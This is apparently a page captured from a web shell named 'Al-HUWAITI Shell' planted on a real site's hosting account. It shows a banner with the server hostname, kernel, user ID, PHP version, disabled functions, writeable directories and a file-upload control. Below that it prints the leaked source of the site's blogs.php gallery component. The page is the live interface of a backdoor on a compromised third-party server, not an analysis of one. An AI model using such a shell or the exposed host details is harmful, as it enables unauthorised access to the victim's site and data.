Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web983.main-hosting.eu 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : u520472703 ( 520472703)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u520472703/domains/gadhiaassociate.com/public_html/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u520472703/domains/gadhiaassociate.com/public_html/components/blogs.php
<section id="blogs" class="gallary-border"  data-aos="fade-up" data-aos-duration="1000">
  <div class="container" >
    <div class="d-flex flex-column align-items-center section-starting my-5">
      <h3 class="m-3" title="Contact us Section">Blogs</h3>
      <div class="position-relative rounded-5 design-parent mb-3">
        <div class="bg-primary position-absolute top-50 start-50 translate-middle rounded-5 design-child">
        </div>
      </div>
    </div>

    <!-- Put below code out of the comment if u want to show the blogs sortwise category -->

    <!-- <div class="text-center mt-4">
    <a class="btn button  p-2 p-md-3 rounded-button focus-ring m-1 fs-6" onclick="showOnlyElements('all')">
      Featured
    </a>

    <?php
      $categories = getAll("category");
      if ($categories) {
        foreach ($categories as $category) {
          $findBlogs = getBycId("gallery", $category["c_id"]);
          if(sizeof($findBlogs)!=0){
            if($findBlogs['isHome']==1){
          ?>

          <a class="btn button  p-2 p-md-3 rounded-button focus-ring m-1 fs-6" onclick="showOnlyElements('cat<?php echo $category['c_id']; ?>', '<?php echo ucfirst($category['name']); ?>')">
            <?php echo ucfirst(strtolower($category['name'])); ?>
          </a>

    <?php } } } } ?>
    
    </div> -->

    <div>
    <div class="row justify-content-center" id="myCat">
    <i id="catsort" class="text-center my-2"></i>
      <?php
      $query = "select * from gallery where isHome = 1 AND c_id IS NOT NULL";
      $result = mysqli_query($conn, $query);
      if ($result) {
        foreach ($result as $key => $value) {
      ?>
          <div class="col-6 col-md-3 p-0 <?php echo "cat".$value["c_id"]; ?>">
            <div class="p-3">
              <div class="swiper gallary-img  swiper_<?php echo $value["id"]; ?>" >
                <div class="swiper-wrapper">
                  <?php
                  foreach (explode(",", $value['imgSrc']) as $img) {
                    if ($img == "" || !file_exists("assets/img/".$img)) {
                      $img = "404.jpg";
                    }
                  ?>
                    <a href="article.php?id=<?= $value["id"]; ?>" class="swiper-slide">
                      <img class="img-fluid" src="assets/img/<?= $img ?>" alt="first">
                      <?php
                      if ($value['title']) {
                      ?>
                        <div class="image-desc-card">
                          <div class="title fw-bolder">
                            <?= $value['title'] ?>
                          </div>
                        </div>
                      <?php
                      }
                      ?>
                    </a>
                  <?php
                  }
                  ?>
                </div>
                <div class="swiper-pagination"></div>

              </div>
              <script>
                new Swiper('<?php echo '.swiper_' . $value["id"]; ?>', {
                  direction: 'horizontal',
                  loop: true,
                  pagination: {
                    el: '.swiper-pagination',
                  },
                });
              </script>
            </div>
          </div>
      <?php
        }
      }
      ?>
      
    </div>

    <div class="text-center mt-4">
    <a href="blog.php" class="btn button px-5 py-3 rounded-button focus-ring me-2 fs-6">View All</a>
    </div>

    </div> <!-- myCat Ends -->
    
  </div>

</section>

Al-HUWAITI Shell